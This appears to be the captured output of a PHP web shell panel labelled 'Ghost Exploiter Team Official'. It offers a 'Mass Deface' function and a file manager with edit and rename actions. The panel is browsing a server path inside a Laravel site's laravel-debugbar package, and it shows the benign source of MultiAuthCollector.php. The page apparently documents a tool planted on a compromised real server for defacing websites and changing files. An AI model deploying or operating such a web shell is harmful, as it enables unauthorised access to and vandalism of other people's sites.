Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
barryvdh
/
laravel-debugbar
/
src
/
DataCollector
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
CacheCollector.php
4.081KB
edt
ren
EventCollector.php
4.092KB
edt
ren
FilesCollector.php
3.704KB
edt
ren
GateCollector.php
5.284KB
edt
ren
JobsCollector.php
1.48KB
edt
ren
LaravelCollector.php
1.64KB
edt
ren
LivewireCollector.php
2.951KB
edt
ren
LogsCollector.php
3.877KB
edt
ren
ModelsCollector.php
1.588KB
edt
ren
MultiAuthCollector.php
4.57KB
edt
ren
PennantCollector.php
1.201KB
edt
ren
QueryCollector.php
23.361KB
edt
ren
RequestCollector.php
11.104KB
edt
ren
RouteCollector.php
4.887KB
edt
ren
SessionCollector.php
1.68KB
edt
ren
ViewCollector.php
6.091KB
edt
ren
<?php namespace Barryvdh\Debugbar\DataCollector; use DebugBar\DataCollector\DataCollector; use DebugBar\DataCollector\Renderable; use Illuminate\Auth\Recaller; use Illuminate\Auth\SessionGuard; use Illuminate\Contracts\Auth\Authenticatable; use Illuminate\Contracts\Auth\Guard; use Illuminate\Support\Str; use Illuminate\Contracts\Support\Arrayable; /** * Collector for Laravel's Auth provider */ class MultiAuthCollector extends DataCollector implements Renderable { /** @var array $guards */ protected $guards; /** @var \Illuminate\Auth\AuthManager */ protected $auth; /** @var bool */ protected $showName = false; /** @var bool */ protected $showGuardsData = true; /** * @param \Illuminate\Auth\AuthManager $auth * @param array $guards */ public function __construct($auth, $guards) { $this->auth = $auth; $this->guards = $guards; } /** * Set to show the users name/email * @param bool $showName */ public function setShowName($showName) { $this->showName = (bool) $showName; } /** * Set to hide the guards tab, and show only name * @param bool $showGuardsData */ public function setShowGuardsData($showGuardsData) { $this->showGuardsData = (bool) $showGuardsData; } /** * @{inheritDoc} */ public function collect() { $data = [ 'guards' => [], ]; $names = ''; foreach ($this->guards as $guardName => $config) { try { $guard = $this->auth->guard($guardName); if ($this->hasUser($guard)) { $user = $guard->user(); if (!is_null($user)) { $data['guards'][$guardName] = $this->getUserInformation($user); $names .= $guardName . ": " . $data['guards'][$guardName]['name'] . ', '; } } else { $data['guards'][$guardName] = null; } } catch (\Exception $e) { continue; } } foreach ($data['guards'] as $key => $var) { if (!is_string($data['guards'][$key])) { $data['guards'][$key] = $this->formatVar($var); } } $data['names'] = rtrim($names, ', '); if (!$this->showGuardsData) { unset($data['guards']); } return $data; } private function hasUser(Guard $guard) { if (method_exists($guard, 'hasUser')) { return $guard->hasUser(); } return false; } /** * Get displayed user information * @param \Illuminate\Auth\UserInterface $user * @return array */ protected function getUserInformation($user = null) { // Defaults if (is_null($user)) { return [ 'name' => 'Guest', 'user' => ['guest' => true], ]; } // The default auth identifer is the ID number, which isn't all that // useful. Try username, email and name. $identifier = $user instanceof Authenticatable ? $user->getAuthIdentifier() : $user->getKey(); if (is_numeric($identifier) || Str::isUuid($identifier) || Str::isUlid($identifier)) { try { if (isset($user->username)) { $identifier = $user->username; } elseif (isset($user->email)) { $identifier = $user->email; } elseif (isset($user->name)) { $identifier = Str::limit($user->name, 24); } } catch (\Throwable $e) { } } return [ 'name' => $identifier, 'user' => $user instanceof Arrayable ? $user->toArray() : $user, ]; } /** * @{inheritDoc} */ public function getName() { return 'auth'; } /** * @{inheritDoc} */ public function getWidgets() { $widgets = []; if ($this->showGuardsData) { $widgets["auth"] = [ "icon" => "lock", "widget" => "PhpDebugBar.Widgets.VariableListWidget", "map" => "auth.guards", "default" => "{}", ]; } if ($this->showName) { $widgets['auth.name'] = [ 'icon' => 'user', 'tooltip' => 'Auth status', 'map' => 'auth.names', 'default' => '', ]; } return $widgets; } }
<=Back
Liking